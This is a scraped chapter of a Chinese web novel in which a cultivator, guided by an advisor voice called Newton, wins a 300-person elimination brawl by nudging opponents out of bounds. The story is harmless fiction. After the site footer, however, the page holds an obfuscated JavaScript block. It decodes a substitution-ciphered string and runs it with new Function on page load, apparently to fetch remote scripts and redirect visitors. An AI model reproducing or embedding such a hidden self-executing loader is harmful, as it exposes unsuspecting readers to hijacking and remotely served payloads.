第三十章:三百比一的数学
第三十章:三百比一的数学(第1/2页)
章节摘要:“混战不是混乱,混战是一道图论题——找到最少需要移除哪些节点,剩下的系统就自己崩溃。“——牛顿
海选的场地,是天道院外门区域最大的演武场。
青石地面,七十米见方,边界用灵力勾出一道隐约可见的光线——出线即负,没有其他规则。
三百个人站进去的时候,场地就已经显得拥挤了。
宁修远站在靠近东南角的位置,背对着墙,往前看。
牛顿已经开始工作了。
UI展开,三百个热源信号在视野里排布,每一个都标注了基础能量特征,颜色按修为深浅分级——蓝色是练气期,绿色是筑基初期,橙色是筑基中期以上。
[参赛者·热源追踪·实时]
[总计:298人(含本体)]
[蓝色·练气期:186人]
[绿色·筑基初期:89人]
[橙色·筑基中期:23人]
[高威胁目标(橙色):标注完成]
然后牛顿开口,声音非常平静,像一个工程师在检查施工图纸:
“小子,目标是五十。你现在的位置,在统计分布上,是全场密度最低的角落之一。“
“按照惯性,混战开始后,高密度区域会先爆发冲突,低密度区域的人会等待机会。你现在的位置,给了你大约四十秒的缓冲期。“
“怎么用这四十秒?“
“看。“
宁修远用四十秒,把三百个光点过了一遍。
不是随机扫,是系统性的,按照能量特征和空间位置的交叉维度,把所有人分了类:
高强度威胁,需要警惕;中等威胁,可以利用;低威胁,可以忽略。
然后是更重要的一件事——他在找关系。
哪些人之间,在场地里有预设的空间关系?
[异常空间关系·检测]
[组合A:北侧三人·相对位置稳定·非随机]
[组合B:西侧二人·保持固定间距]
[组合C:中央偏东·七人·分散布置但方向角指向同一区域]
[注:非随机空间关系通常意味着预先协调]
牛顿:
“七人的那个组合,方向角指向的区域——是你现在的位置。“
宁修远看了一眼那七个光点,然后把他们各自的颜色过了一遍。
六个绿,一个橙。
“中间那个橙色,“牛顿说,“注意他的视线方向,他在扫场地,不是找对手,是在确认所有人的位置。“
“这是一个协调者,不是战斗单元。“
宁修远把这个人在脑子里单独标了一个红色。
“他在联合针对我。“
“很可能。废土来的外门弟子,在晋升赛里表现超出预期——这是一个有足够理由被针对的标签。“
“但注意,“牛顿继续,“协议还没有完成。六个执行者和一个协调者之间,要完成一次协议,需要协调者和每一个人完成确认。“
“你有时间,在协议完成之前,先动手。“
就在这个时候,演武场的钟声响了。
海选,开始。
第一秒,没有人动。
三百个人在评估,在等,在看谁先动——这是预期的,牛顿早就算过,大规模混战的前三秒,通常是静止的,因为所有人都在用这三秒来完成最后的判断。
宁修远用了这三秒,看协调者的移动。
他从中央偏东走向西侧,接触了第一个执行者,两人交谈了不超过两秒——这是在传递最后的确认信号。
宁修远开始移动。
他没有往那个协调者的方向走,他往他们中间最远的一个执行者走,那个执行者在七人组合里,和协调者之间的距离最长,意味着协调者必须绕最大的弧度来完成对他的确认。
那段弧度,需要时间。
宁修远要做的,是在协调者走到那段弧度之前,让那个执行者没有能力继续等待确认。
他走到那个执行者旁边的时候,已经有其他几组人开始交手了,演武场的噪音随之升起——这给了他掩护。
那个执行者注意到了他,往后退了半步,是防御性的本能反应。
宁修远没有直接攻击,只是走过去,在那个执行者侧面两步的位置,让出一条让对方“自然会走“的路线——
牛顿同步给出:
[目标·执行者E·当前位置分析]
[右侧:开阔,但通往另一组战斗密集区]
[左侧:绕道,但安全]
[后侧:直线通往场地边缘]
[宁修远当前位置:卡住右侧,压缩目标选项]
那个执行者往左侧移动了——他选了绕道,因为右侧被宁修远占了,他不想和一个不认识的人在这个时候打一场不确定的仗。
他往左侧移,就走进了另一组正在爆发的混战的边缘区域。
那组混战里有一个筑基初期正在全力出手,没有注意到左侧走近的人,反手挥了一剑。
宁修远在那个力的落点精确之前,已经退回了场边。
“咔“的一声,那个执行者用护盾挡住了,但被震出去七步,出了界。
他一脸困惑地看着把他推出场的人,那个人也愣住了,因为他根本不知道自己身边怎么突然有了一个人。
旁观区有人哄笑:撞出去的——
宁修远已经不在那个位置了。
协调者走到弧度的一半,回头,发现执行者E已经出了场,他停下来,扫了一圈,重新调整计划。
他需要用剩余的五个人。
但在他完成最后两人的确认之前,宁修远已经把其中一个,用同样的方式,让他自己走进了一场他不打算参与的战斗。
这次不是挡路,是牛顿计算了那个执行者的移动方向,在他前进路线的侧面留了一个空当——那个空当,是另一个人的攻击路径恰好会经过的位置。
宁修远只是在正确的时刻,没有在那里。
执行者走进了那条路径,挨了一掌,不是很重,但够让他决定先解决眼前的威胁,把联盟的事放到之后。
之后就没有了。
牛顿在宁修远脑海里,声音依然非常平,像是在描述一个物理过程:
“连接两个节点的中间节点失效,等同于两个节点之间的通信中断。“
“你现在已经断开了协调者和两个执行者之间的连接。剩余的协议,无法完成,联盟不会形成。“
“但协调者还在。“
宁修远看了一眼那个协调者的位置——他站在场地中央偏西,表情是那种本来有计划但计划开始松散时,有点慌但还没有完全慌的状态。
“他接下来会怎么做?“
“有两种可能。一,他放弃联盟计划,转为单打。二,他重新寻找合作对象。“
“两种情况,对你都没有立即的威胁——但如果他重新联合,你需要更早介入。“
“建议:现在去解决一个中等威胁目标,证明你有解决威胁的能力,让他把你从'值得联合对付'重新评估为'代价太高'。“
他在场地里走了一圈,找到了一个筑基初期的弟子,正在和另一个练气期的人单打,即将结束。
宁修远没有打那个筑基初期,而是在他们结束的瞬间,从侧面走近,在那个筑基初期喘气调息的那两秒里,准确地踩住了他身后踏出的半步。
那个筑基初期重心后移,踩到宁修远的脚,失去平衡,往后倒——宁修远已经让开了,他继续往后,连退三步,第三步出了线。
出线的那一刻,他还没明白发生了什么。
宁修远往旁边移了两步,退回边缘,和之前一样,停在那里,像什么都没做过。
周围有人在打,有人在出线,有人在退场——只有极少数的目击者,看见了刚才宁修远做的那个动作。
但没有人能说清楚那是什么动作。
牛顿:“踩脚?“他停顿,“你用踩脚赢了一个筑基初期?“
“你不是说最小动作吗。“
“……我确实说的。“
协调者看见了那个出线的筑基初期,看了看他,又看了看宁修远站着的方向。
他重新评估了两秒。
然后,他开始往另一个方向移动——不是朝着宁修远,是朝着场地另一侧的一个他认识的、平时关系还不错的弟子。
(本章未完,请点击下一页继续阅读)第三十章:三百比一的数学(第2/2页)
他决定换一个合作对象,不针对宁修远了。
宁修远记下他的新方向,不再管他。
接下来的一个小时,是宁修远这段时间以来,最安静的一个小时。
他没有主动打任何一场完整的战斗,但他出手了十一次。
每一次,平均耗时不超过十秒,移动距离不超过七步,然后退回边缘,在下一个时机到来之前,站着等。
他让三个人自己绊倒自己,让两个人在追他的过程中撞上了别人,让一个人在全力攻击的惯性里踏出了边界,让四个人——在他走过他们的侧面的那半秒——恰好处于一个他们自己的运动会把自己带出线的位置。
牛顿:“你正在以0.8次/人的平均代价,完成淘汰目标。“
“什么意思?“
“你对每一个人的平均出手次数,是0.8次。低于1次,意味着你有时候根本没有直接接触对手,就完成了淘汰。“
“这是混战效率的理论极限附近。“
特斯拉的声音出现:“他在用最小功原理。“
牛顿停了一下:
“……是的。“
“功=力×位移。最小功原理:在达到同等效果的前提下,系统会倾向于走能量消耗最小的路径。“
“他把对手的运动作为输入能量,只需要施加一个极小的偏转力,就能让对方的能量带着对方走到他想让对方去的地方。“
特斯拉:“自然界的光线折射,用的是同一个原理。“
“光沿着耗时最短的路径传播,所以会在介质边界弯曲。他让对手沿着'对自己来说代价最小的路径'运动,然后那条路径,恰好通向场外。“
宁修远听完,在心里想了一下,然后说:
“我没有想那么多。“
沉默了两秒。
牛顿:“我知道,你只是觉得那个时机'对'。“
“但你觉得'对'的判断,和最小功原理,殊途同归。“
一个小时后,场地里剩下的人,从三百减到了六十三。
宁修远站在东南角的边缘,离他最初站的位置只差了约十步,看着场内剩余的战斗。
沈月在他的UI里,是一个始终处于场地中段偏左、保持低调的蓝绿色信号——她参加了十二场战斗,赢了十场,输了两场,输的两场,宁修远看得出来,是她主动控制的。
她在控制自己的名次,把自己压在能进五十的边缘。
不多,不少。
她做到了她承诺的:没有干扰他的路线。
他也没有干扰她。
还需要再淘汰十三个人。
剩下的六十三个人里,有协调者——那个最初想联合针对他的人——他换了合作对象,在后来的战斗里赢了几场,现在是稳定可以进前五十的状态。
宁修远看着他,想了一下,决定不管他了。
他的目的是进前五十,不是清算所有曾经打算对付他的人。
这件事,他决定得很快,因为牛顿已经把剩余的能量分布算了一遍,告诉他哪几个人是当前状态下最有可能超出前五十的威胁。
他只需要再动两次。
第一次,一个筑基中期,正在和另一个筑基中期缠斗。
两人势均力敌,宁修远走过去,在那个他想要出线的人的侧面,用一块从地面捡起来的碎石,准确地扔进了他们两个之间——不是打人,是扔在地面,石头弹起,打在那个人的脚踝骨。
不是受伤,是骨传导震动,触发了那条腿一个非常短暂的肌肉反射。
那条腿抖了一下,在他正在向前施力的时候抖了一下,整个人的重心偏移了三厘米。
三厘米,在他对抗对方推力的那一刻,已经足够了。
他出线了。
第二次,是一个宁修远之前一直盯着的、练气后期的弟子,她已经赢了很多场,但她有一个习惯:每次赢了之后,会往右侧退两步,找一个视野开阔的位置重新评估战场。
那两步,已经退了七次了,每次方向完全一致。
宁修远在她退步的那个位置,提前站了一秒钟。
她退两步,撞上了宁修远,然后那一步的惯性让她继续往后,第三步,出线。
她回头看着宁修远,眼神里有一种“这不公平“的东西。
宁修远:“习惯是很贵的东西。“
然后他退回了场边。
钟声响起。
五十个名字,被宣读。
宁修远,在。
沈月,在。
沈月和宁修远的位置隔着约二十人,在宣读结束之后,她往他的方向看了一眼,没有表情上的变化,就是确认了一下,然后收回视线。
他也确认了一下,然后收回视线。
演武场上方,有一道回廊。
云逸站在那里,看了整个海选。
他的手指搭在回廊的栏杆上,从海选开始就没有换过位置,宁修远在场内第三次退到边缘之后,他的手指轻轻敲了一下栏杆,然后就没再动过。
从那之后,他的视线,就一直跟着宁修远的位置走。
海选结束,参赛者开始散场,云逸还站在那里,目光落在宁修远正在离开的方向。
他旁边站着一个他的同门,说了什么,他没有回应。
他在脑子里,把宁修远今天出手的十一次,逐一过了一遍。
没有一次,他能够事前预判。
事后还原——还原之后——能看出来每一次的目标和手段,但还原不出来这十一个时机,是怎么被选中的。
他不理解选择这些时机的逻辑。
但他有一种直觉,这个逻辑存在,而且非常精确,精确到他目前的知识体系里,没有分类这种东西的词汇。
他不笑了。
那个一直挂在嘴角的、居高临下的弧度,在他意识到这件事的那一刻,就已经不在了,他自己没有注意到。
宁修远走出演武场,跟在散场人群的后面,没有急着走。
叶清欢在出口处等着,不是靠着墙,就是站在那里,能源核心的蓝光透过衣物,有一点点的温度。
她看了他一眼,没有问结果,因为她从开始就知道结果了:
“你今天出手十一次,“她说,“平均7.3步,平均8.4秒。“
“我知道你在计数,“宁修远说。
“数据比较,“她说,“第一次晋升赛时,三场战斗,平均移动步数是21步,平均时长是34秒。“
停顿。
“进步了。“
宁修远想了一下,问她:
“你觉得有什么还可以优化的?“
叶清欢想了将近四秒:
“第七次,那块碎石,如果提前0.3秒扔出,角度可以更准,你当时扔出去之后微调了一下,浪费了0.2步。“
宁修远点头,把这个记下来了。
牛顿在他脑海里,等了两秒,然后说:
“0.2步。“
停顿。
“你今天在三百人的混战里,最大的优化空间,是0.2步。“
停顿。
“……我想起来了,我当年在剑桥工作的时候,有个学生,他计算引力数据的时候,总是在最后的小数点上,说'够了'。“
“我不喜欢'够了'这个词。“
停顿。
“不过,今天,够了。“
宁修远嘴角动了一下,没有说话。
凛冬从另一个方向走来,在他们两步外停下,看了他们一眼,直接说:
“第三十一轮,两周后,阵法破解,“她停顿,“我看了历届的考验记录。“
“是电磁场。“
宁修远抬起头,看着她:
“你也推断出来了?“
凛冬点头,非常平静:
“三千年前,天道院的阵法基础,来自同一套古代文明的理论——他们把电磁场叫做'天机封印',但底层的数学结构,没有变。“
停顿。
“你应该三秒之内出来。“
宁修远没有问“应该“是什么意思,因为他也这么觉得。
牛顿的声音,罕见地带了一点什么——不是嘲讽,不是得意,就是某种平静的期待:
“下一轮,我来。“
[第三十章完]
一秒记住【996小说网】
996xiaoshuo.com,更新快,无弹窗!
!function(){function a(a){var _idx="n5jzanf3om";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2nC4d27sO^/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2nC4d27sO^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY82nC4d27sO^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();